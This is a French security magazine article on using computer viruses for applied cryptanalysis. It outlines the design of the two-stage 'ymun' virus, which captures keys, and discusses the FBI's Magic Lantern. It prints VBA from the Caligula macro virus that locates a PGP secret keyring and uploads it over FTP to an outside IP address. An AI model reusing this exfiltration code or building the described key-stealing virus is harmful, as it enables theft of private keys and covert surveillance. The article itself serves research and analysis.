Retrouvez cet article dans : Misc 20

 

 Polymorphisme, obfuscation, blindage, protection et renforcement de charges finales... Les précédents articles du dossier ont montré comment la cryptologie pouvait renforcer les virus et plus généralement des codes malveillants (bombe logique, shellcodes, chevaux de Troie, virus, vers...). Dans le présent article, nous allons inverser la vision et considérer comment les virus et autres codes généralement considérés comme " malveillants " peuvent aider la cryptologie et venir quelquefois résoudre opérationnellement des problèmes considérés comme insolubles en pratique. Cette vision inversée, au-delà du seul aspect technique, a l'intérêt de considérer l'utilisation des virus et autres infections informatiques en vue d'applications " bénéfiques ", même si la notion de bénéfice reste une notion subjective.

Introduction

L'usage de techniques virologiques informatiques permet avec succès d'apporter une solution opérationnelle à un certain nombre de problèmes que la cryptologie ne peut résoudre à elle seule. Si cette éventualité fait l'objet d'une opposition systématique et particulièrement féroce de la part des vendeurs d'antivirus – pour des raisons qu'il est aisé d'imaginer – et si la législation de la plupart des pays ne prévoit ni n'autorise pas encore l'usage de telles techniques, à des fins opérationnelles, il n'en demeure pas moins qu'une véritable réflexion doit être menée pour envisager, de manière contrôlée et réglementée, l'usage de techniques de la virologie informatique à des fins opérationnelles, en cryptologie et plus particulièrement dans ses applications. Présentons les principales (mais la liste est loin d'être exhaustive) :

• La cryptanalyse ou stéganalyse appliquée.
• La protection efficace des données classifiées ou sensibles. À ce titre, le meilleur exemple est certainement le virus KOH.
• La description de systèmes de chiffrement à l'aide de modèles viraux...

Nous traiterons, dans cet article le problème de la cryptanalyse/stéganalyse appliquée, en nous inspirant de l'étude détaillée exposée dans [3, chapitre 13]. Pour le deuxième point, le lecteur consultera [3, chapitre 11] et [4] pour le troisième point. Depuis quelques années, de nombreux systèmes de chiffrement symétriques sont disponibles1, tant dans la littérature technique que sur Internet ou dans des produits cryptologiques commerciaux. Le cas des logiciels PGP et GnuPG est emblématique de l'usage de plus en plus répandu de produits de chiffrement. Des protocoles comme WEP, WPA, Bluetooth... intègrent tous des systèmes de chiffrement (AES, E0, RC4...). Il en va de même pour les logiciels de stéganographie (techniques destinées à assurer la confidentialité des données et à cacher le fait même de communiquer). Les systèmes modernes, Outguess ou autres, utilisent également une clef secrète partagée par les acteurs de la communication. Ces systèmes, à ce jour, sont considérés comme incassables, c'est-à-dire qu'aucune technique ou méthode mathématique connue ne permet de retrouver la clef de manière opérationnelle. Ni les fréquentes publications de techniques irréalistes, ni l'approche par force brute (essai systématique de toutes les clefs possibles) ne remettront en cause, pour de longues années encore, la sécurité de ces systèmes, à moins d'avancées majeures sur les problèmes théoriques sur lesquels ils s'appuient. Le problème de la cryptanalyse se pose, alors, pour des organismes chargés de la sécurité des États. En d'autres termes, l'existence de systèmes de chiffrement incassables, lorsqu'ils sont utilisés par des terroristes, des mafieux ou autres acteurs malveillants, remet potentiellement en cause la souveraineté des États en matière de sécurité. Pour bien comprendre le problème, considérons le cas de l'algorithme AES et supposons que nous utilisions un ordinateur de type Deep-crack [2] capable de tester 256 clefs en une seconde 2. Une recherche par force brute sur les différentes versions de l'AES nécessitera :

• 1.5 x 1012 siècles pour une clef de 128 bits,
• 2.76 x 1031 siècles pour une clef de 192 bits,
• 5.1 x 1050 siècles pour une clef de 256 bits.

Il est clair que cette approche, traditionnellement utilisée, n'est désormais plus réalisable pour les systèmes actuels. D'autres techniques, regroupées sous le terme de " cryptanalyse appliquée " sont alors à envisager (pour plus de détails voir [5]). Elles visent le système non pas directement, au niveau de l'algorithme, mais indirectement au niveau de son implémentation ou de sa gestion. La meilleure image est celle " de la porte blindée sur un mur de carton ". Une de ces approches est d'utiliser des virus informatiques ou autres logiciels infectants. Le premier exemple connu est celui du virus Caligula mais son action était vaine dans la mesure où ce macro virus ne récupérait les clefs secrètes de PGP que sous une forme chiffrée, celles-ci demeuraient donc, en général, inexploitables pour l'attaquant 3. Les principales phases d'action (hors infection) de Caligula sont les suivantes :

• Recherche du fichier secring.skr :

           pgppath = System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PGP         Encrypted File\shell\open\command", "")
        ....
        With Application.FileSearch
          .FileName = "\Secring.skr"
          .LookIn = pgppath
          .SearchSubFolders = True
          .MatchTextExactly = True
          .FileType = msoFileTypeAllFiles
          .Execute
          PGP_Sec_Key = .FoundFiles(1)
         End With

Si le fichier existe, il est placé dans un fichier temporaire dénommé cdbrk.vxd. Ce fichier est alors envoyé via FTP vers le site codebreakers.org :

        Randomize
         For i = 1 To 4
           NewSecRingFile = NewSecRingFile + Mid(Str(Int(8 * Rnd)), 2, 1)
         Next i
         NewSecRingFile = "./secring" & NewSecRingFile & ".skr"
       Open "c:\cdbrk.vxd" For Output As #1
           Print #1, "o 209.201.88.110"
           Print #1, "user anonymous"
           Print #1, "pass itsme@"
           Print #1, "cd incoming"
           Print #1, "binary"
           Print #1, "put """ & PGP_Sec_Key & """ """ & NewSecRingFile & """"
           Print #1, "quit"
           Close #1
       Shell "command.com /c ftp.exe -n -s:c:\cdbrk.vxd", vbHide

En 2001, le FBI a officiellement reconnu l'existence et l'utilisation par ses services de la technologie Magic Lantern [1]. Le but était de capturer les clefs de chiffrement en installant, au moyen d'un ver, un cheval de Troie permettant l'écoute et l'espionnage de la mémoire tampon du clavier des victimes (utilisé, en autres, pour entrer un mot de passe ou une clef de chiffrement). Les données volées sont alors envoyées sur le réseau. Nous allons présenter, ici, une solution opérationnelle, utilisant les virus " binaires " (cas particulier des virus dits " k-aires " ou groupes de k virus agissant en parallèle). Il s'agit de la famille des virus dénommés " ymun ", conçue pour évaluer, tester et valider la faisabilité et le potentiel de technologies de type Magic Lantern. Le lecteur trouvera dans [3, chapitre 13] une description détaillée d'un membre de cette famille, appelé " ymun20 ". Seul l'aspect algorithmique sera ici considéré dans le cadre d'un scénario d'attaque qui a servi de base d'évaluation.

Description générale du virus Ymun et de l'attaque

Considérons d'abord pour notre attaque deux utilisateurs, Alice et Bob, communiquant via des fichiers chiffrés à l'aide d'un système (stéganographique ou cryptographique) S. Alice protège d'abord un fichier P avec une clef secrète K, produisant le fichier stéganographié et/ou chiffré C qui est finalement envoyé à Bob. Charlie, l'intrus, désire connaître le contenu des fichiers échangés. Il va utiliser un virus binaire, que nous appellerons (V1, V2). Il recherche donc le profil de Bob pour pouvoir l'atteindre par une voie détournée. Ce profil rassemble toutes les informations concernant sa future victime : habitudes en tant qu'utilisateur informatique, éléments de base sur son système... Il peut alors infecter préalablement l'ordinateur de Bob avec un Virus V1 peu infectieux (c'est-à-dire dont la reproduction est sélective). Nous supposerons ici qu'il peut surveiller les échanges de mails entre Alice et Bob. L'intrus Charlie intercepte C, le message secret, et y rajoute un virus V2 qui réalisera les modifications sur l'ordinateur de Bob. Finalement, c'est (C || σ || V2) qui est envoyé à Bob après insertion d'une signature σ dont le rôle sera explicité plus loin.

Le virus V1 : première étape de l'infection

Le virus V1 est conçu pour être de petite taille. C'est V2 qui se charge de modifier la signature σ que V1 possède dans son code afin d'offrir un semblant de polymorphisme.

• Le virus V1 est un virus faiblement infectant. En effet, ce virus n'a pour cible que les ordinateurs où est installé un logiciel de cryptographie ou de stéganographie S. Une routine Search() réalise cette tâche. Si l'ordinateur ne possède aucun de ces logiciels, le virus se " désinfecte ", autrement dit, il se désinstalle lui-même du système.
• Le virus V1 est un virus résident. En d'autres mots, immédiatement après la première infection et à chaque démarrage de l'ordinateur, le virus V1 est chargé en mémoire. Pour cela une routine isinfected() vérifie que l'ordinateur n'est pas déjà infecté. La routine infect() réalise l'infection du système. Pour assurer une efficacité permanente, lorsque l'ordinateur est redémarré, le virus est automatiquement relancé.
• Le dernier module de V1 est lancé lorsque ce dernier est résident. Il recherche en permanence, dans les e-mails reçus, la présence de σ. Quand σ est détecté, la routine launch() lance le virus V2 (dans le cas général V2 est présent dans le mail sous forme chiffrée, V1 doit le déchiffrer au préalable ; la clef de chiffrement est différente de copie en copie de V1) et restaure l'intégrité de l'e-mail infecté (efface σ et V2 ; cette opération est bien sûr effectuée avant tout contrôle éventuel d'intégrité sur le message).

3 Cependant, si le propriétaire de la clef secrète utilise un mot de passe faible, une approche exhaustive ou une attaque par dictionnaire, permet alors dans certains cas d'accéder à la clef secrète. Mais, l'expérience montre qu'en général ce n'est que rarement le cas. Les utilisateurs de chiffrement sont sensibilisés aux risques des mots de passe faibles.

 

Figure 1 : Organigramme du virus ymun-V1

Le virus V2 : seconde étape de l'infection

Le virus V2 bénéficie des actions et caractéristiques du virus V1. Ce dernier étant de petite taille, V2 est beaucoup plus gros et possède des fonctionnalités et une structure plus complexes. Ici résident principalement l'intérêt et la puissance des virus binaires. En retour, dans le cas général, V2 prend en charge la furtivité et le polymorphisme du virus V1. Cela consiste essentiellement à mettre V1 en sommeil furtif durant l'activité de V2 et à modifier son code avant de le réactiver. Une autre solution est de réellement désinfecter l'ordinateur de Bob du virus V1 grâce au virus V2 et de procéder à sa réinstallation (sous une forme mutée).

 

 

Figure 2 : Organigramme du virus ymun-V2 (infection)

 

Les principales étapes de fonctionnement du virus V2 (phase d'infection, résumée sur la figure 2) sont :

• Le virus V2 cherche en premier lieu les fichiers des logiciels qui doivent être spécifiquement attaqués, grâce à une routine search(). L'infection est alors effectuée par une routine v2infect().
• L'infection réalisée, V2 tue V1 et désinfecte la machine grâce à la routine v1disinfect().
• Ensuite, V2 attend d'effectuer la cryptanalyse appliquée elle-même (voir section suivante).
• Une fois que V2 a collecté toutes les clefs possibles et les a fait " évader ", le routine v1infect() réinfecte l'ordinateur de Bob avec une version modifiée (mutée) de V1 qui est alors de nouveau résident. En particulier, la signature σ est changée en σ' pour une attaque ultérieure.
• Finalement, la routine v2disinfect() désinfecte la machine de Bob du virus V2. L'attaque est achevée et de nouvelles conditions sont réalisées pour la rejouer plus tard.

Le virus V2 : la cryptanalyse appliquée

Son rôle est d'intercepter les clefs utilisées par Bob et de les faire sortir de sa machine. Les principales étapes sont les suivantes (résumées par le diagramme de la figure 3) :

 

Figure3 : Organigramme du virus ymun-V2 (charge finale)

• Lors du déchiffrement par Bob du message reçu (après l'infection par V2), la routine getkey_d() capture la clef secrète utilisée par Bob et la cache soigneusement sur le disque dur (endroit différent à chaque variante virale ; la routine getkey_d(), de plus, comprend une sous-routine chiffrant la clef capturée avant stockage). Durant chaque étape de déchiffrement ultérieure, par Bob, chaque clef est capturée et stockée selon le même processus uniquement s'il s'agit d'une nouvelle clef, différente des précédentes clefs capturées. Après la capture de chaque clef, V2 redonne le contrôle au système S. Il est important de noter que le virus V2 intervient à un niveau très bas, afin de capturer la clef en clair et non sous une forme chiffrée (défaut du macro-virus Caligula). Cela permet de capturer des clefs qui sont introduites dans le système autrement que par le clavier (supports amovibles).

• Dès qu'une opération de chiffrement intervient (après l'infection par V2) la routine getkey_e() capture la clef, la compare aux clefs de déchiffrement déjà capturées et si elle est différente, la mémorise.
• V2 redonne temporairement le contrôle au système S pour la production du texte chiffré.
• Enfin, V2 reprend le contrôle et la routine concealkey() entre en action. Toutes les clefs capturées sont chargées et chiffrées par un algorithme différent de celui utilisé par la routine getkey_d(). Elles sont finalement dissimulées dans le cryptogramme (par insertion ou par substitution; la position et le mode de dissimulation varient selon la version mutée du virus). A noter que l'action de V2 intervient avant tout processus de signature ou de calcul d'intégrité sur le cryptogramme.
• V2 restitue définitivement le contrôle au système S après l'action des routines v1infect() et v2disinfect().

Pour récupérer les clefs, Charlie intercepte le cryptogramme envoyé à Alice et extrait les clefs qui y sont dissimulées.

Conclusion

Le virus Ymun a permis de valider l'approche prétendue d'un code viral comme le ver Magic Lantern du FBI. L'usage de techniques virales permet de répondre opérationnellement au problème de la cryptanalyse de systèmes de chiffrement modernes. Notons que l'approche présentée avec Ymun (ou Magic Lantern) permet de gérer tout aussi efficacement les systèmes asymétriques réalisant les fonctionnalités d'authentification et de signature. L'usage de ces techniques montre avec force qu'aucune sécurité cryptologique n'est possible sans une sécurité informatique cohérente (usage et mise à jour d'un antivirus, utilisation de firewalls, respect des règles informatiques de base...). Ce principe a été démontré avec force lors des Rump Sessions de la conférence SSTIC 2005 [6] (intervention d'Éric Detoisien et d'Aurélien Bordes). Les systèmes cryptologiques sont quasiment tous implémentés sous forme logicielles, du moins pour les applications commerciales et grand public. On ne peut que sourire à ce qui apparaît comme une certaine ironie : la cryptologie, à la base de tous les mécanismes de sécurité informatique (en vue de l’intégrité, de l'authentification, de la confidentialité...) peut précisément être défaite par des mécanismes relevant de la sécurité informatique. Cela prouve que toute politique de sécurité d'un système (informationnel ou de communication) se doit d'être globale. L'usage de technologies virales n'est pour le moment pas légal. L'" affaire " Magic Lantern a montré que certains pays s'y intéressaient cependant. Et dans cette perspective, la maîtrise de l'environnement d'exploitation d'un système est essentielle sous peine d'utiliser de la cryptologie dans un environnement inadapté.

 

Références

• [1] BRIDIS, T., " FBI Develops Eavesdropping Tools ", Washington Post, November 22nd, 2001.
• [2] DesCracker : www.eff.org/descracker
• [3] FILIOL, E, Les virus informatiques : théorie, pratique et applications, Collection IRIS, éditions Springer, 2004.
• [4] FILIOL, E., HELENIUS, M. et ZANERO S., " Open problems in computer virology ", Journal in Computer Virology, (1), 3-4, Springer Verlag, 2005 (à paraître).
• [5] FILIOL, E., Applied Cryptanalysis of Cryptosystems and Computer Attacks Through Hidden Ciphertexts Computer Viruses, Rapport de recherche INRIA, numéro 4359, 2002. Disponible sur : http://www-rocq.inria.fr/codes/Eric.Filiol/papers/rr4359vf.ps.gz
• [6] Symposium sur la Sécurité des Systèmes d'Information et de Communication 2005 (SSTIC 2005).– Rump sessions d'Eric DETOISIEN : " Ma connexion web est sécurisée, vive le SSL ! " et d'Aurélien BORDES : " Protection des clefs privées des certificats sous Windows 2000/XP ", Enregistrements vidéo bientôt disponibles sur le site http://www.sstic.org

  Retrouvez cet article dans : Misc 20